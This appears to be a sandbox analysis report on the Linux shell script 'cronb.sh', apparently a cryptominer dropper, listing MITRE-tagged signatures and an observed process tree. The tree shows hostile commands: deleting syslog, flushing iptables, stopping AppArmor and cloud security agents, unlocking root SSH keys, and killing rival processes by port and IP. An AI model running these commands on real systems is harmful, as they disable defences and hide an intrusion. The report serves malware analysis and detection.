7d7d0b4353401225e8da8424a7e1c5edaa091b256bdd48b7dcb158befca0b205

Resubmissions

01/10/2024, 16:14

241001-tp164aycqp10

31/03/2022, 14:02

220331-rb4c7ahaek9

Analysis

max time kernel
9752s
max time network
152s
platform
linux_mipsel
resource
debian9-mipsel-en-20211208
submitted
31/03/2022, 14:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cronb.sh
Size 79KB
Sample220331-rb4c7ahaek
SHA256 7d7d0b4353401225e8da8424a7e1c5edaa091b256bdd48b7dcb158befca0b205
MD5 2ac000e26102885305d056a5ee418faf
SHA1 73716825db3b5a4f6fee892a3f3a7cfe7a9907d0
SHA512 5f4a3c45f018062bb4e8ce5759db2d780076b247f2e9a7adf983f252fa1423af2ee053ef379c9d0cfe3d2ae33b608670046cfb32e1e1e97b9a77a34de8a432e6
MD5 SHA1 SHA512

Score

9^/10

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Indicator Removal on Host

T1070

description	ioc	Process
/var/log/syslog	/var/log/syslog	rm

Writes file to system bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
/bin/egrep	/bin/egrep	egrep

Modifies hosts file 1 IoCs

Adds to hosts file used for mapping hosts to IP addresses.

description	ioc	Process
/etc/hosts	/etc/hosts	sudo

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
/etc/resolv.conf	/etc/resolv.conf	sudo

Write file to user bin folder 1 TTPs 2 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
/usr/sbin/service	/usr/sbin/service	service
/usr/sbin/service	/usr/sbin/service	service

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

Enumerates kernel/hardware configuration 1 TTPs 32 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl
/sys/fs/kdbus/0-system/bus	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
/proc/72/cmdline	/proc/72/cmdline	pgrep
/proc/75/cmdline	/proc/75/cmdline	ps
/proc/76/stat	/proc/76/stat	ps
/proc/258/status	/proc/258/status	ps
/proc/24/status	/proc/24/status	ps
/proc/16/cmdline	/proc/16/cmdline	ps
/proc/16/stat	/proc/16/stat	ps
/proc/225/cmdline	/proc/225/cmdline	ps
/proc/9/status	/proc/9/status	ps
/proc/77/cmdline	/proc/77/cmdline	pgrep
/proc/325/cmdline	/proc/325/cmdline	pgrep
/proc/36/cmdline	/proc/36/cmdline	ps
/proc/4/cmdline	/proc/4/cmdline	ps
/proc/21/stat	/proc/21/stat	ps
/proc/300/cmdline	/proc/300/cmdline	ps
/proc/12/cmdline	/proc/12/cmdline	ps
/proc/9/status	/proc/9/status	ps
/proc/225/cmdline	/proc/225/cmdline	ps
/proc/21/status	/proc/21/status	ps
/proc/2/stat	/proc/2/stat	ps
/proc/661/status	/proc/661/status	ps
/proc/18/status	/proc/18/status	ps
/proc/77/status	/proc/77/status	ps
/proc/77/cmdline	/proc/77/cmdline	ps
/proc/141/cmdline	/proc/141/cmdline	ps
/proc/9/status	/proc/9/status	pgrep
/proc/self/fd	/proc/self/fd	xargs
/proc/83/status	/proc/83/status	ps
/proc/74/cmdline	/proc/74/cmdline	ps
/proc/669/cmdline	/proc/669/cmdline	ps
/proc/282/status	/proc/282/status	ps
/proc/21/stat	/proc/21/stat	ps
/proc/72/stat	/proc/72/stat	ps
/proc/291/status	/proc/291/status	ps
/proc/71/cmdline	/proc/71/cmdline	ps
/proc/258/cmdline	/proc/258/cmdline	ps
/proc/327/status	/proc/327/status	ps
/proc/75/status	/proc/75/status	ps
/proc/291/status	/proc/291/status	ps
/proc/251/stat	/proc/251/stat	ps
/proc/16/stat	/proc/16/stat	ps
/proc/24/cmdline	/proc/24/cmdline	ps
/proc/21/status	/proc/21/status	ps
/proc/8/status	/proc/8/status	ps
/proc/1136/cmdline	/proc/1136/cmdline	pgrep
/proc/72/stat	/proc/72/stat	ps
/proc/327/stat	/proc/327/stat	ps
/proc/72/stat	/proc/72/stat	ps
/proc/327/status	/proc/327/status	pgrep
/proc/587/stat	/proc/587/stat	ps
/proc/258/stat	/proc/258/stat	ps
/proc/250/status	/proc/250/status	ps
/proc/4/status	/proc/4/status	ps
/proc/83/status	/proc/83/status	ps
/proc/83/status	/proc/83/status	ps
/proc/735/status	/proc/735/status	ps
/proc/24/status	/proc/24/status	ps
/proc/229/status	/proc/229/status	ps
/proc/11/cmdline	/proc/11/cmdline	ps
/proc/76/cmdline	/proc/76/cmdline	ps
/proc/78/status	/proc/78/status	ps
/proc/11/stat	/proc/11/stat	ps
/proc/1264/cmdline	/proc/1264/cmdline	pgrep
/proc/224/cmdline	/proc/224/cmdline	ps

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
/tmp/keys	/tmp/keys	rm
/tmp/	/tmp/	chattr
/tmp/	/tmp/	cronb.sh
/tmp/addres*	/tmp/addres*	rm
/tmp/walle*	/tmp/walle*	rm

./cronb.sh
./cronb.sh
1⤵
- Writes file to tmp directory
PID:327
- /usr/bin/id
  id
  2⤵
  PID:328
- /bin/mkdir
  mkdir /var/tmp/.copydie -p
  2⤵
  PID:335
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:336
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Writes file to tmp directory
  PID:337
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:338
- /sbin/iptables
  iptables -F
  2⤵
  PID:340
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:343
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:344
- /sbin/sysctl
  sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:345
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:346
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:347
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  - Writes file to tmp directory
  PID:348
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  - Writes file to tmp directory
  PID:349
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  - Writes file to tmp directory
  PID:350
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:351
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:352
- /bin/ps
  ps aux
  2⤵
  PID:353
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:354
- /usr/sbin/service
  service apparmor stop
  2⤵
  - Write file to user bin folder
  PID:356
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:357
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:358
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:359
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:363
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:364
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:365
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:366
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:367
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:368
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:369
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:370
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:371
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:372
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:373
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:374
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:356
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:356
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:356
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:356
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:356
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:356
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Enumerates kernel/hardware configuration
  PID:375
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  - Write file to user bin folder
  PID:376
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:377
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:378
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:379
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:383
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:384
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:385
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:386
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:387
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:388
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:389
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:390
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:391
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:392
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:393
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:394
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:376
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:376
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:376
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:376
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:376
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:376
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:395
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:396
- /bin/grep
  grep -v grep
  2⤵
  PID:397
- /bin/grep
  grep aegis
  2⤵
  PID:398
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:399
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:400
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:401
- /bin/grep
  grep -v grep
  2⤵
  PID:402
- /bin/grep
  grep Yun
  2⤵
  PID:403
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:405
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:404
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:406
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:408
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:409
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:410
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:411
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:413
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:414
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:415
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:416
- /bin/grep
  grep :443
  2⤵
  PID:418
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:419
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:420
- /bin/grep
  grep -v -
  2⤵
  PID:421
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:422
- /bin/grep
  grep :23
  2⤵
  PID:424
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:425
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:426
- /bin/grep
  grep -v -
  2⤵
  PID:427
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:428
- /bin/grep
  grep :443
  2⤵
  PID:430
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:431
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:432
- /bin/grep
  grep -v -
  2⤵
  PID:433
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:434
- /bin/grep
  grep :143
  2⤵
  PID:436
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:437
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:438
- /bin/grep
  grep -v -
  2⤵
  PID:439
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:440
- /bin/grep
  grep :2222
  2⤵
  PID:442
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:443
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:444
- /bin/grep
  grep -v -
  2⤵
  PID:445
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:446
- /bin/grep
  grep :3333
  2⤵
  PID:448
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:449
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:450
- /bin/grep
  grep -v -
  2⤵
  PID:451
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:452
- /bin/grep
  grep :3389
  2⤵
  PID:454
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:455
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:456
- /bin/grep
  grep -v -
  2⤵
  PID:457
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:458
- /bin/grep
  grep :5555
  2⤵
  PID:460
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:461
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:462
- /bin/grep
  grep -v -
  2⤵
  PID:463
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:464
- /bin/grep
  grep :6666
  2⤵
  PID:466
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:467
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:468
- /bin/grep
  grep -v -
  2⤵
  PID:469
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:470
- /bin/grep
  grep :6665
  2⤵
  PID:472
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:473
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:474
- /bin/grep
  grep -v -
  2⤵
  PID:475
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:476
- /bin/grep
  grep :6667
  2⤵
  PID:478
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:479
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:480
- /bin/grep
  grep -v -
  2⤵
  PID:481
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:482
- /bin/grep
  grep :7777
  2⤵
  PID:484
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:485
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:486
- /bin/grep
  grep -v -
  2⤵
  PID:487
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:488
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:491
- /bin/grep
  grep :8444
  2⤵
  PID:490
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:492
- /bin/grep
  grep -v -
  2⤵
  PID:493
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:494
- /bin/grep
  grep :3347
  2⤵
  PID:496
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:497
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:498
- /bin/grep
  grep -v -
  2⤵
  PID:499
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:500
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:501
- /bin/grep
  grep -v grep
  2⤵
  PID:502
- /bin/grep
  grep :3333
  2⤵
  PID:503
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:504
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:505
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:506
- /bin/grep
  grep -v grep
  2⤵
  PID:507
- /bin/grep
  grep :5555
  2⤵
  PID:508
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:509
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:510
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:511
- /bin/grep
  grep -v grep
  2⤵
  PID:512
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:513
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:514
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:515
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:516
- /bin/grep
  grep -v grep
  2⤵
  PID:517
- /bin/grep
  grep log_
  2⤵
  PID:518
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:519
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:520
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:521
- /bin/grep
  grep systemten
  2⤵
  PID:523
- /bin/grep
  grep -v grep
  2⤵
  PID:522
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:524
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:525
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:526
- /bin/grep
  grep -v grep
  2⤵
  PID:527
- /bin/grep
  grep netns
  2⤵
  PID:528
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:529
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:530
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:531
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:531
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:531
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:531
- - /sbin/kill
    kill -9 10
    3⤵
    PID:531
- - /bin/kill
    kill -9 10
    3⤵
    - Reads CPU attributes
    PID:531
- /bin/ps
  ps aux
  2⤵
  PID:532
- /bin/grep
  grep -v grep
  2⤵
  PID:533
- /bin/grep
  grep voltuned
  2⤵
  PID:534
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:535
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:536
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:537
- /bin/grep
  grep -v grep
  2⤵
  PID:538
- /bin/grep
  grep darwin
  2⤵
  PID:539
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:540
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:541
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:542
- /bin/grep
  grep -v grep
  2⤵
  PID:543
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:544
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:545
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:546
- /bin/ps
  ps aux
  2⤵
  PID:547
- /bin/grep
  grep -v grep
  2⤵
  PID:548
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:549
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:550
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:551
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:552
- /bin/grep
  grep -v grep
  2⤵
  PID:553
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:554
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:555
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:556
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:557
- /bin/grep
  grep -v grep
  2⤵
  PID:558
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:559
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:560
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:561
- /bin/ps
  ps aux
  2⤵
  PID:562
- /bin/grep
  grep -v grep
  2⤵
  PID:563
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:564
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:565
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:566
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:567
- /bin/grep
  grep -v grep
  2⤵
  PID:568
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:569
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:570
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:571
- /bin/ps
  ps aux
  2⤵
  PID:572
- /bin/grep
  grep -v grep
  2⤵
  PID:573
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:574
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:575
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:576
- /bin/ps
  ps aux
  2⤵
  PID:577
- /bin/grep
  grep -v grep
  2⤵
  PID:578
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:579
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:580
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:581
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:582
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:584
- /bin/grep
  grep -v grep
  2⤵
  PID:583
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:585
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:586
- /bin/grep
  grep -v grep
  2⤵
  PID:588
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:587
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:589
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:590
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:591
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:592
- /bin/grep
  grep -v grep
  2⤵
  PID:593
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:594
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:595
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:596
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:597
- /bin/grep
  grep -v grep
  2⤵
  PID:598
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:600
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:599
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:601
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:602
- /bin/grep
  grep -v grep
  2⤵
  PID:603
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:604
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:605
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:606
- /bin/grep
  grep -v grep
  2⤵
  PID:608
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:607
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:610
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:609
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:611
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:612
- /bin/grep
  grep -v grep
  2⤵
  PID:613
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:614
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:615
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:616
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:617
- /bin/grep
  grep -v grep
  2⤵
  PID:618
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:619
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:620
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:621
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:622
- /bin/grep
  grep -v grep
  2⤵
  PID:623
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:624
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:625
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:626
- /bin/ps
  ps aux
  2⤵
  PID:627
- /bin/grep
  grep -v grep
  2⤵
  PID:628
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:629
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
